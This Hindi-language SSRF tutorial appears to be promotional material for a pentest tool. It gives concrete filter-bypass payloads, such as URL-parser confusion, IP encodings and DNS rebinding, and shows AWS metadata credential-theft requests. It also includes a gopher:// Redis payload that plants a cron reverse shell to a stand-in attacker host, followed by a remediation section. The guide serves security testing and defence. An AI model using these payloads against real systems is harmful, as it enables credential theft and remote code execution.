आसान फ़िल्टरों को पार करते हुए SSRF: URL-parser की उलझन और metadata endpoint

Server-side request forgery उन कुछ bug classes में से एक है जहाँ एक अकेली खोज आपके हाथ में cloud credentials थमा देती है। इसका तंत्र कहने में मामूली है — आप server से एक ऐसा URL fetch करवाते हैं जो आपके नियंत्रण में है — और हर write-up वहीं रुक जाता है, ठीक इसीलिए वे बेकार हैं। tutorial वाला payload, URL field में चिपकाया गया http://169.254.169.254/, हर जगह blocklist हो चुका है। SSRF के 2026 में भी सबसे उपजाऊ bug classes में से एक बने रहने की वजह यह नहीं है कि developers filter करना भूल गए। वजह यह है कि उनका filter और उनका HTTP client URL को अलग-अलग पढ़ते हैं, और आप उसी अंतर में रहते हैं।

URL allowlist एक शर्त है कि code के दो टुकड़े — validator और fetcher — इस पर सहमत हैं कि आपने कौन-सा host माँगा। वे लगभग कभी सहमत नहीं होते। आधुनिक SSRF एक ऐसी string खोजने की कला है जिसे वे दो तरह से पढ़ते हैं।

मुख्य बग: URL-parser confusion

Orange Tsai के A New Era of SSRF ने उस चीज़ को नाम दिया जिससे हर कोई ठोकर खा रहा था: एक URL library पर बना validator और दूसरी पर बना HTTP client एक ही string को अलग-अलग hosts में parse कर देते हैं। validator कहता है “यह expected-host की ओर इशारा करता है, अनुमति है।” client 169.254.169.254 से जुड़ जाता है। दोनों अपने-अपने पठन के अनुसार एक अस्पष्ट spec के हिसाब से सही व्यवहार कर रहे हैं (RFC 3986 यहाँ असली गुंजाइश छोड़ता है)। आपको बस वह input चाहिए जो उन्हें अलग कर दे।

ठीक-ठीक payloads, और क्यों हर एक parsers को अलग करता है:

http://[email protected]/

Userinfo confusion. @ से पहले का सब कुछ userinfo component है; असली host उसके बाद है। एक भोला validator जो host को string की शुरुआत में ढूँढता है, expected-host देखकर अनुमति दे देता है। HTTP client, सही parse करते हुए, 169.254.169.254 से जुड़ता है और expected-host को (नज़रअंदाज़ किए गए) username के रूप में भेज देता है।

http://169.254.169.254#@expected-host/

Fragment वाली चाल। एक validator जो “@ पर split करके host ढूँढता है” पूँछ से expected-host उठा लेता है। पर # fragment शुरू कर देता है — उसके बाद का सब कुछ fetcher छोड़ देता है, जो 169.254.169.254 से जुड़ता है। allowlist एक ऐसी string जाँचती है जिसे network कभी देखता ही नहीं।

http://expected-host\@169.254.169.254/

Backslash की असहमति। Browsers और Go का net/url \ को / में normalize कर देते हैं, इसलिए उनके लिए host expected-host है और बाक़ी path है। जो libraries backslash को normalize नहीं करतीं, वे expected-host\ को userinfo और 169.254.169.254 को host मानती हैं। एक ही byte string से validator और fetcher अलग-अलग hosts पर पहुँच जाते हैं।

http://169.254.169.254 &@expected-host

Whitespace / control-character injection. authority में ठूँसा गया एक space, tab, या raw CR/LF एक parser से host जल्दी काट देता है और दूसरे से सीधा आगे पढ़वा देता है। कुछ stacks space पर रुक जाते हैं (host = 169.254.169.254), कुछ @ पर split कर देते हैं (host = expected-host), और यही असहमति bypass है।

मूल कारण हमेशा एक ही आकार का होता है: RFC 3986 की अस्पष्टता, और साथ में एक validator व एक HTTP client जो दो अलग URL implementations इस्तेमाल कर रहे हैं। जब आपको कोई allowlist दिखे, तो पहले यह मत पूछिए “क्या मैं इसके इर्द-गिर्द encode कर सकता हूँ” — पूछिए “इसे parse कौन करता है, और क्या fetcher उससे सहमत है?”

जब यह blocklist हो, allowlist नहीं: IP encodings

अगर filter एक string blocklist है जो 127.0.0.1 / localhost / 169.254.169.254 का शाब्दिक मिलान करती है, तो यह इस तथ्य के आगे गिर जाती है कि एक IP address के कई textual रूप होते हैं जो सब एक ही 32 bits में resolve होते हैं:

2130706433              decimal for 127.0.0.1
0177.0.0.1              octal first octet
0x7f.0.0.1              hex first octet
127.1                   short form — omitted octets are zero-filled
[::1]                   IPv6 loopback
[::ffff:169.254.169.254]  IPv4-mapped IPv6 — reaches the metadata IP
0.0.0.0                 Linux routes this to localhost

0.0.0.0 वाली चाल वही है जो लोग चूक जाते हैं: Linux पर यह loopback को route होती है, इसलिए यह आपकी local service तक पहुँच जाती है, जबकि केवल 127.0.0.1 string जानने वाली blocklist के बगल से सीधा निकल जाती है। और जब filter hostname को resolve करता है पर अंतिम गंतव्य को नहीं, तो wildcard-DNS services आपको एक सार्वजनिक-दिखने वाले नाम में एक आंतरिक IP थमा देती हैं: 169.254.169.254.nip.io 169.254.169.254 में resolve होता है, और localtest.me 127.0.0.1 में resolve होता है।

DNS rebinding: resolver पर एक TOCTOU

जब validation और fetch दो अलग DNS lookups होते हैं, तो उनके बीच एक TTL-0 record रख दीजिए। जिस पल app validate करता है यह एक सार्वजनिक, अनुमत IP में resolve होता है, फिर एक क्षण बाद जब app वाकई fetch करता है तो 169.254.169.254 में — DNS पर ही एक time-of-check/time-of-use बग। rebind और singularity इस पलटी को automate करते हैं। जो पेच एक पूरा दिन खा जाता है: कुछ HTTP clients DNS को cache कर लेते हैं या connection के पूरे जीवनकाल के लिए पहले resolution को pin कर देते हैं, इसलिए दूसरा lookup कभी होता ही नहीं और rebinding चुपचाप विफल हो जाती है। यह निष्कर्ष निकालने से पहले कि target सुरक्षित है, जाँच लीजिए कि क्या client दोबारा resolve करता है — एक विफल rebind एक client के DNS व्यवहार के बारे में जानकारी है, कोई साफ़ परिणाम नहीं।

URL लेने वाले features की अपनी उम्मीदवार सूची proxy history से बनाइए — यहीं proxy history से passive recon का फल मिलता है। SSRF छिपती है webhooks में, import-by-URL और avatar-from-URL में, PDF / screenshot / thumbnail generators में, SSO/OIDC discovery URLs में, link unfurlers में, और XML व SVG parsers के ज़रिये XXE-to-SSRF में।

पुष्टि करना: OAST, कभी response body नहीं

आधुनिक SSRF के लिए सबसे महत्वपूर्ण बदलाव: response पढ़ना बंद कर दीजिए। अधिकांश असली SSRF blind होती है — server आपका URL fetch करता है और आपको कुछ नहीं दिखाता — इसलिए filter-and-eyeball वाला loop इसे पूरी तरह चूक जाता है। parameter को एक out-of-band listener की ओर मोड़िए और callback की प्रतीक्षा कीजिए:

POST /api/import HTTP/2
Content-Type: application/json

{"url":"http://k7f2p9.oast.example/"}

# API returns {"status":"queued"} — nothing useful.
# A DNS lookup for k7f2p9.oast.example arriving from the
# target's egress IP is the proof. The response body never mattered.

आप बिना किसी callback के भी timing से पुष्टि कर सकते हैं: एक आंतरिक खुला port और एक बंद port नापने-योग्य रूप से अलग response latencies पैदा करते हैं, इसलिए एक connect() जो लटक जाए बनाम एक जो झट से मना कर दे, आंतरिक network का एक blind port scan है।

वह detection जाल जो false positives पैदा करता है: एक cached या CDN-fronted 200 जो response में महज़ आपके callback host को echo करता है, एक ऐसे hit जैसा दिख सकता है जो असल में hit नहीं है — CDN ने आपके host को resolve किया, target के backend ने नहीं। दो नियम आपको ईमानदार रखते हैं। पहला, सत्यापित कीजिए कि callback का source IP target की infrastructure है, कोई साझा CDN edge नहीं। दूसरा, DNS-only interactions को प्राथमिकता दीजिए: एक DNS resolution उस HTTP egress filtering से बच निकलती है जो किसी outbound HTTP callback को चुपचाप गिरा देती, इसलिए DNS उन मामलों की पुष्टि करती है जहाँ HTTP कुछ न दिखाकर आपसे parameter को ग़लत ढंग से सुरक्षित घोषित करवा देता।

बढ़ोतरी: metadata endpoint, सही तरीके से

169.254.169.254 तक पहुँचना शुरुआत है, खोज नहीं। AWS पर, IMDSv1 credentials सीधे एक GET को थमा देती है:

GET http://169.254.169.254/latest/meta-data/iam/security-credentials/

IMDSv2 वहाँ है जहाँ अधिकांश reports ग़लत हो जाती हैं, क्योंकि यह एक full-request नृत्य है, कोई GET नहीं:

# 1. PUT to obtain a session token
PUT http://169.254.169.254/latest/api/token
X-aws-ec2-metadata-token-ttl-seconds: 21600

# 2. GET the credentials, presenting that token
GET http://169.254.169.254/latest/meta-data/iam/security-credentials/
X-aws-ec2-metadata-token: <token-from-step-1>

दो बारीकियाँ तय करती हैं कि यह काम करेगा या नहीं। केवल GET करने वाली SSRF step 1 कर ही नहीं सकती — token के लिए PUT करने हेतु आपको method और headers पर नियंत्रण चाहिए। और PUT response पर default hop limit 1 है: container के भीतर से उठने वाली request एक network hop जोड़ देती है, इसलिए token response वापस लौटने से पहले मर जाता है और container के भीतर से आई SSRF अक्सर metadata service तक पहुँच नहीं पाती भले ही parameter पूरी तरह vulnerable हो। अगर IMDSv1 को स्पष्ट रूप से disable नहीं किया गया है तो यह एक fallback बना रहता है जिसे जाँचना ठीक है। GCP सरल है पर header-gated: Metadata-Flavor: Google के साथ http://metadata.google.internal/। “metadata reachable” रिपोर्ट मत कीजिए — वे credentials रिपोर्ट कीजिए जो आपने प्राप्त किए, या ठीक-ठीक बताइए कि hop limit या token की ज़रूरत ने आपको क्यों रोका।

बढ़ोतरी: gopher:// से Redis RCE

gopher:// वह scheme है जो SSRF को आंतरिक line-protocol services — Redis, memcached, SMTP — के विरुद्ध raw TCP में बदल देता है, क्योंकि यह आपको एक socket पर मनमाने bytes लिखने देता है। किसी unauthenticated Redis पर निशाना साधने पर यह एक cron job लिखकर remote code execution बन जाता है:

gopher://127.0.0.1:6379/_CONFIG%20SET%20dir%20/var/spool/cron/
CONFIG SET dbfilename root
SET x "\n* * * * * bash -i >& /dev/tcp/attacker/4444 0>&1\n"
SAVE

हर Redis protocol line को URL-encode करके एक gopher payload में डाला जाता है (commands के बीच %0d%0a)। CONFIG SET dir Redis की save directory को cron पर मोड़ देता है, dbfilename root dump file का नाम crontab के हिसाब से रखता है, SET एक reverse-shell cron line छिपा देता है, और SAVE इसे disk पर flush कर देता है — जहाँ cron इसे उठा लेता है और वापस connect करता है। SSRF से RCE, बिना किसी auth के, एक request में।

उपचार

अपनी report के fix section के लिए: application code में URL allowlisting वही चीज़ है जो विफल होती है, क्योंकि यह validator और fetcher के सहमत होने पर निर्भर है। टिकाऊ fixes ये हैं — hostname को आप ख़ुद resolve कीजिए, resolve किए गए IP को आंतरिक ranges की denylist के विरुद्ध validate कीजिए, फिर उसी ठीक IP को pin करके उससे connect कीजिए ताकि कोई दूसरा resolution rebind न कर सके; अनुपयोगी URL schemes disable कीजिए (कोई gopher://, file://, dict:// नहीं); IMDSv2 लागू कीजिए और metadata hop limit को 1 पर सेट कीजिए ताकि container escapes उस तक न पहुँच सकें; और एक string check पर भरोसा करने के बजाय network layer पर egress को block कीजिए। एक filter जो URL को parse करता है, एक ऐसे client से दौड़ लगा रहा है जो इसे अलग तरीके से parse करता है — निर्णय को resolve किए गए IP पर ले जाइए, जहाँ केवल एक ही जवाब होता है।

असली बात

SSRF कठिन नहीं हुई; भोले payloads filter हो गए, और सब एक परत पहले रुक गए। बग एक स्तर नीचे चली गई — URL जाँचने वाले code और उसे fetch करने वाले code के बीच की असहमति में, और उन blind मामलों में जो किसी response body में कभी नज़र नहीं आते। हर URL लेने वाले parameter पर एक out-of-band listener जोड़िए, blind मामलों को एक DNS ping से अपनी घोषणा करने दीजिए, और अपने parser-confusion payloads केवल उन्हीं parameters पर ख़र्च कीजिए जो पहले ही घर फ़ोन कर चुके हैं। यही वही confused-deputy आकार है — एक भरोसेमंद context जो attacker-नियंत्रित input पर अमल कर रहा है — जो अब AI agents में prompt injection को चला रहा है।

Crusader में out-of-band testing (OAST / Interactsh) built in आता है, जो blind SSRF के लिए पूरा खेल है: request को किसी URL लेने वाले parameter पर छोड़िए, interaction की प्रतीक्षा कीजिए, और callback के source IP से पुष्टि कीजिए कि घर फ़ोन करने वाला target का ही server था — किसी response body की ज़रूरत नहीं। इसे अपनी history के हर webhook, importer, और discovery URL पर मोड़िए और filter हुए मामलों को अपना राज़ कबूल करने दीजिए। Crusader मुफ़्त डाउनलोड करें

अक्सर पूछे जाने वाले सवाल

SSRF के संदर्भ में URL-parser confusion क्या है?
यह SSRF filter bypass का एक वर्ग है जहाँ URL को validate करने वाला code और उसे fetch करने वाला HTTP client एक ही string को अलग-अलग तरीके से parse करते हैं। http://[email protected]/ जैसा payload validator को expected-host को host (@ से पहले का हिस्सा) के रूप में पढ़वा सकता है, जबकि HTTP client 169.254.169.254 (असली host) से जुड़ता है। दोनों components असहमत रहते हैं, इसलिए allowlist पास हो जाती है पर request कहीं और चली जाती है। Orange Tsai ने इसे ‘A New Era of SSRF’ में दर्ज किया था।
IMDSv2 कभी-कभी SSRF को क्यों रोक देती है, भले ही parameter vulnerable हो?
IMDSv2 के लिए session token पाने हेतु /latest/api/token पर एक PUT ज़रूरी है, फिर उस token को GET पर header के रूप में देना होता है। केवल GET करने वाली सरल SSRF वह PUT नहीं कर सकती। इसके ऊपर, default PUT-response hop limit 1 है, इसलिए container के भीतर से उठने वाली request (एक अतिरिक्त network hop) 169.254.169.254 तक कभी पहुँचती ही नहीं। आपको एक ऐसी full-request SSRF चाहिए जो method और headers को नियंत्रित करे, और एक ऐसी hop limit जो packet को पहुँचने दे।
response देखे बिना blind SSRF की पुष्टि कैसे करते हैं?
parameter को एक out-of-band listener (OAST, जैसे Interactsh) की ओर मोड़ें और DNS या HTTP callback की प्रतीक्षा करें। प्रमाण वह callback है जिसका source IP target की infrastructure का हो। DNS-only interactions को प्राथमिकता दें: ये HTTP egress filtering से बच निकलती हैं जो किसी outbound HTTP callback को रोक देती, और आपका host echo करने वाला कोई cached CDN response अपने-आप में प्रमाण नहीं है।
Crusader मुफ़्त आज़माएँ →